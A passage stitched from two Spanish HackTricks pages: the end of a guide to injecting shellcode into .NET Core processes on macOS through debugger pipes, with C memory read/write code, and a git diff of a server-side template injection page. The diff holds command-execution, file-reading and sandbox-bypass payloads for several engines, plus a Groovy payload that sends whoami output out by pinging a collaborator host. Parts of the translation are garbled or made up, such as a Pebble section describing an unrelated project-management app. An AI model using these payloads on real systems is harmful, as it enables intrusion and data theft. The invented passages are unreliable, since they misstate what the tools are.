* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Depuración de .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Establecer una sesión de depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado de .Net.\
Crea 2 tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo).
Por lo tanto, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través del tubo `out`** que comienza con una estructura `MessageHeader`, que podemos obtener del código fuente de .NET:
```c
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
```
En el caso de una solicitud de nueva sesión, esta estructura se rellena de la siguiente manera:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Una vez construido, **enviamos esto al objetivo** utilizando la llamada del sistema `write`:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData`, que contiene un GUID para identificar nuestra sesión:
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Al enviar nuestra solicitud de sesión, **leemos desde el tubo `out` una cabecera** que indicará **si** nuestra solicitud para establecer si una sesión de depuración ha sido **exitosa** o no:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### Leer memoria
Con una sesión de depuración establecida, es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
```
### Escribir en memoria
El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
```
El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### Ejecución de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Lo primero es identificar, por ejemplo, una región de memoria con permisos **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función admitidos se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firma** al estilo de mimikatz para buscar a través de **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al que podemos desreferenciar:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firma. Para hacer esto, aprovechamos otra función de depurador expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, estamos interesados en un campo devuelto que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Usando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** dentro de la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección, es posible sobrescribir el puntero de función con nuestro propio shellcode.
El código completo de POC utilizado para la inyección en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias
* Esta técnica fue tomada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# SSTI (Inyección de plantillas en el lado del servidor)
# SSTI (Inyección de plantillas del lado del servidor)
<details>
@ -12,17 +12,17 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## ¿Qué es la inyección de plantillas en el lado del servidor?
## ¿Qué es la inyección de plantillas del lado del servidor?
La inyección de plantillas en el lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis nativa de la plantilla para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.
La inyección de plantillas del lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis de plantilla nativa para inyectar una carga maliciosa en una plantilla, que luego se ejecuta en el lado del servidor.
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el lado del servidor pueden ocurrir cuando la **entrada del usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar **el control completo del servidor**.
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas del lado del servidor pueden ocurrir cuando la **entrada del usuario** se concatena directamente **en una plantilla**, en lugar de pasarla como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, lo que a menudo les permite tomar **el control completo del servidor**.
Un ejemplo de código vulnerable se muestra a continuación:
```php
@ -39,7 +39,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### Detectar
Al igual que con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar **fuzzear la plantilla** inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantilla, como el políglota **`${{<%[%'"}}%\`.**\
Para comprobar si el servidor es vulnerable, debe **detectar las diferencias** entre la respuesta con **datos regulares** en el parámetro y el **payload dado**.\
Para comprobar si el servidor es vulnerable, debe **detectar las diferencias** entre la respuesta con **datos regulares** en el parámetro y el **payload proporcionado**.\
Si se produce un **error**, será bastante fácil averiguar que **el servidor es vulnerable** e incluso qué **motor se está ejecutando**. Pero también podría encontrar un servidor vulnerable si esperaba que reflejara el payload dado y no lo está haciendo o si hay algunos caracteres **faltantes** en la respuesta.
**Detectar - Contexto de texto plano**
@ -61,7 +61,7 @@ engine.render("Hello {{"+greeting+"}}", data)
```
El acceso a la página puede ser similar a: `http://vulnerable-website.com/?greeting=data.username`
Si **cambias** el parámetro **`greeting`** por un **valor diferente**, la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de la plantilla fueran **`}}`**).\
Si **cambias** el parámetro **`greeting`** por un **valor diferente**, la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de la plantilla fueron **`}}`**).\
Si se produce un **error** durante estas pruebas, será más fácil encontrar que el servidor es vulnerable.
### Identificación
@ -102,7 +102,7 @@ Los objetos suministrados por el desarrollador son particularmente propensos a c
**Atacar**
En este punto, deberías tener una **idea firme de la superficie de ataque disponible** y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones pueden ser utilizadas para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y las vulnerabilidades de escalada de privilegios.
En este punto, deberías tener una **idea firme de la superficie de ataque disponible** y ser capaz de proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación más amplia - algunas funciones pueden ser utilizadas para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y las vulnerabilidades de escalada de privilegios.
## Herramientas
@ -132,7 +132,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```
**Java - Obtener las variables de entorno del sistema**
Para obtener las variables de entorno del sistema en Java, podemos utilizar la clase `System` y su método `getenv()`. Este método devuelve un objeto `Map` que contiene todas las variables de entorno del sistema y sus valores.
Para obtener las variables de entorno del sistema en Java, podemos utilizar la clase `System` y su método `getenv()`. Este método devuelve un objeto `Map` que contiene todas las variables de entorno del sistema y sus valores. Podemos iterar sobre este objeto para obtener las variables de entorno individuales y sus valores.
```java
Map<String, String> env = System.getenv();
@ -141,11 +141,46 @@ for (String envName : env.keySet()) {
}
```
Este código imprimirá todas las variables de entorno del sistema y sus valores en la consola.
También podemos obtener el valor de una variable de entorno específica utilizando el método `getenv(String name)` de la clase `System`. Este método toma el nombre de la variable de entorno como argumento y devuelve su valor.
```java
String path = System.getenv("PATH");
System.out.println("PATH = " + path);
```
```java
${T(java.lang.System).getenv()}
```
**Java - Obtener /etc/passwd**
Este es un ejemplo de cómo se puede obtener el archivo `/etc/passwd` en un servidor vulnerable a la inyección de plantillas del lado del servidor (SSTI) utilizando Java.
```java
import java.io.*;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
String payload = "${new java.util.Scanner(new java.io.File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next()}";
Map<String, Object> model = new HashMap<>();
model.put("user", payload);
String result = TemplateEngine.render("Hello, ${user}!", model);
System.out.println(result);
}
}
class TemplateEngine {
public static String render(String template, Map<String, Object> model) throws Exception {
StringReader reader = new StringReader(template);
StringWriter writer = new StringWriter();
Velocity.evaluate(new VelocityContext(model), writer, "", reader);
return writer.toString();
}
}
```
En este ejemplo, se utiliza la biblioteca Velocity para procesar la plantilla. La carga útil se inserta en la variable `user` y se pasa al motor de plantillas para su procesamiento. La carga útil utiliza la clase `Scanner` de Java para leer el contenido del archivo `/etc/passwd` y devolverlo como una cadena.
Este es solo un ejemplo de cómo se puede utilizar la inyección de plantillas del lado del servidor para obtener información confidencial del servidor. Es importante tener en cuenta que esta técnica solo funciona en servidores vulnerables a la inyección de plantillas del lado del servidor y no debe utilizarse para fines malintencionados.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -169,7 +204,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
```
**Freemarker - Bypass de Sandbox**
⚠️ Solo funciona en versiones de Freemarker inferiores a 2.3.30
⚠️ solo funciona en versiones de Freemarker inferiores a 2.3.30
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -235,7 +270,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Bypassar filtros**
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, intente con `#{...}`, `*{...}`, `@{...}` o `~{...}`.
* Leer `/etc/passwd`
```java
@ -254,24 +289,24 @@ cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
**Más información**
* [Thymleaf SSTI](https://javamana.com/2021/11/21071046977B.html)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Manipulación de vistas de Spring (Java)
@ -293,7 +328,21 @@ Versión antigua de Pebble ( < versión 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Nueva versión de Pebble:
# Nueva versión de Pebble:
## Descripción
Pebble es una aplicación de gestión de proyectos que permite a los usuarios crear, organizar y colaborar en proyectos. La última versión de Pebble incluye nuevas características y mejoras de rendimiento.
## Características nuevas
- Integración con Slack: ahora puedes conectar tus proyectos de Pebble con canales de Slack para recibir notificaciones y actualizaciones en tiempo real.
- Mejoras en la interfaz de usuario: la interfaz de usuario ha sido actualizada para mejorar la usabilidad y la accesibilidad.
- Mejoras en la velocidad: se han realizado mejoras en el rendimiento para que la aplicación sea más rápida y eficiente.
## Cómo actualizar
Los usuarios de Pebble recibirán una notificación de actualización en la aplicación. Simplemente sigue las instrucciones para actualizar a la última versión. Si no recibes la notificación, puedes buscar actualizaciones en la configuración de la aplicación.
```java
{% raw %}
{% set cmd = 'id' %}
@ -301,52 +350,24 @@ Nueva versión de Pebble:
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
### Jinjava (Java)
Jinjava es un motor de plantillas Java que admite la ejecución de código Java en plantillas. Es compatible con la mayoría de las características de la sintaxis de plantillas de Django y agrega algunas características adicionales, como la ejecución de código Java en plantillas.
Jinjava es un motor de plantillas Java que admite la ejecución de código Java en plantillas. Es similar a Twig y Django, pero está diseñado específicamente para Java. Jinjava se utiliza comúnmente en el marco de aplicaciones web Spring.
#### Ejemplo de uso
La inyección de plantillas del lado del servidor (SSTI) en Jinjava se produce cuando se permite que el usuario ingrese plantillas que se ejecutan en el servidor. Esto puede permitir que un atacante ejecute código malicioso en el servidor y, en última instancia, tomar el control del servidor.
```java
import com.hubspot.jinjava.Jinjava;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Jinjava jinjava = new Jinjava();
Map<String, Object> context = new HashMap<>();
context.put("name", "Jinjava");
String template = "Hello {{ name }}!";
String renderedTemplate = jinjava.render(template, context);
System.out.println(renderedTemplate);
}
}
```
#### Ejecución de código Java
Jinjava admite la ejecución de código Java en plantillas utilizando la sintaxis `{{ java_code }}`. Por ejemplo, el siguiente código Java se puede ejecutar en una plantilla Jinjava:
```java
{% set x = 1 %}
{% set y = 2 %}
{% set result = x + y %}
{{ result }}
```
Esto imprimirá `3` en la plantilla renderizada.
Para evitar la inyección de plantillas del lado del servidor en Jinjava, se deben seguir las mejores prácticas de seguridad, como validar y sanitizar todas las entradas de usuario y limitar los permisos de ejecución en el servidor.
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
@ -394,7 +415,7 @@ Busque "com.hubspot.content.hubl.context.TemplateContextRequest" y descubra el [
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
//It was also possible to call methods on the created object by combining the
@ -447,23 +468,23 @@ Consulte la siguiente página para obtener más información sobre la **explotac
### Groovy (Java)
Este bypass del Security Manager fue tomado de este [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Este bypass del Administrador de Seguridad fue tomado de este [**informe**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
@ -474,7 +495,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro candente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@ -490,7 +511,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**Más información**
* En la sección de Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* En la sección Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -520,23 +541,15 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{{['cat$IFS/etc/passwd']|filter('system')}}
```
**Twig - Formato de plantilla**
Twig es un motor de plantillas moderno y flexible para PHP. Es utilizado por Symfony2, Drupal8 y muchas otras herramientas de PHP. Twig utiliza una sintaxis simple y fácil de aprender que permite a los desarrolladores crear plantillas de manera rápida y eficiente.
Twig es un lenguaje de plantillas seguro por defecto, lo que significa que no permite la ejecución de código arbitrario. Sin embargo, aún es posible realizar inyecciones de plantillas del lado del servidor (SSTI) en Twig si se utilizan mal algunas de sus funciones.
Para evitar SSTI en Twig, es importante asegurarse de que todas las variables que se utilizan en las plantillas sean seguras y no contengan código malicioso. Además, se deben evitar las funciones peligrosas de Twig, como `eval`, `include`, `source`, `template_from_string`, entre otras.
En resumen, Twig es una herramienta poderosa y segura para crear plantillas en PHP, siempre y cuando se utilice de manera responsable y se eviten las funciones peligrosas.
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Más información**
@ -556,116 +569,72 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
# Inyección de plantillas en el lado del servidor (SSTI)
# Inyección de plantillas del lado del servidor (SSTI)
La inyección de plantillas en el lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor a través de la inyección de código en una plantilla. Esta vulnerabilidad es común en aplicaciones web que utilizan plantillas para generar contenido dinámico.
La inyección de plantillas del lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor al explotar una aplicación web que utiliza plantillas para generar contenido dinámico.
## Ejemplos de SSTI
## ¿Cómo funciona?
### Jinja2
Las aplicaciones web a menudo utilizan plantillas para generar contenido dinámico. Estas plantillas contienen código que se ejecuta en el servidor para generar el contenido que se muestra al usuario. Si un atacante puede controlar el contenido de una plantilla, puede inyectar código malicioso que se ejecutará en el servidor.
Jinja2 es un motor de plantillas para Python. Es comúnmente utilizado en aplicaciones web de Python, como Flask y Django.
## Ejemplo
#### Ejemplo 1: Accediendo a variables globales
Un ejemplo común de SSTI es cuando una aplicación web utiliza la plantilla de Jinja2 para generar contenido dinámico. Si la aplicación no está configurada correctamente, un atacante puede inyectar código malicioso en la plantilla y hacer que se ejecute en el servidor.
```python
{% for key, value in globals().items() %}
{{ key }}: {{ value }}
{% endfor %}
Por ejemplo, si la aplicación utiliza la siguiente plantilla:
```html
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>{{ message }}</h1>
</body>
</html>
```
#### Ejemplo 2: Ejecutando comandos del sistema
Un atacante podría inyectar código malicioso en la plantilla de la siguiente manera:
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```html
{{ 7 * 7 }}
```
### Twig
Esto haría que la plantilla se renderice como:
Twig es un motor de plantillas para PHP. Es comúnmente utilizado en aplicaciones web de PHP, como Symfony y Laravel.
#### Ejemplo 1: Accediendo a variables globales
```php
{{ dump(_context) }}
```html
<!DOCTYPE html>
<html>
<head>
<title>49</title>
</head>
<body>
<h1></h1>
</body>
</html>
```
#### Ejemplo 2: Ejecutando comandos del sistema
Como se puede ver, el código malicioso se ha ejecutado en el servidor y ha generado el número 49 en el título de la página.
```php
{{ system('id') }}
```
## Prevención
## Prevención de SSTI
Para prevenir la inyección de plantillas en el lado del servidor, se deben seguir las siguientes prácticas recomendadas:
- Validar y sanitizar todas las entradas de usuario.
- Limitar el acceso a las variables globales en las plantillas.
- Utilizar un motor de plantillas que tenga una política de seguridad sólida.
- Mantener el software actualizado con las últimas correcciones de seguridad.
Para prevenir la inyección de plantillas del lado del servidor, es importante asegurarse de que las aplicaciones web estén configuradas correctamente y de que se utilicen las últimas versiones de las bibliotecas de plantillas. También es importante validar y escapar cualquier entrada de usuario que se utilice en las plantillas para evitar la inyección de código malicioso.
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
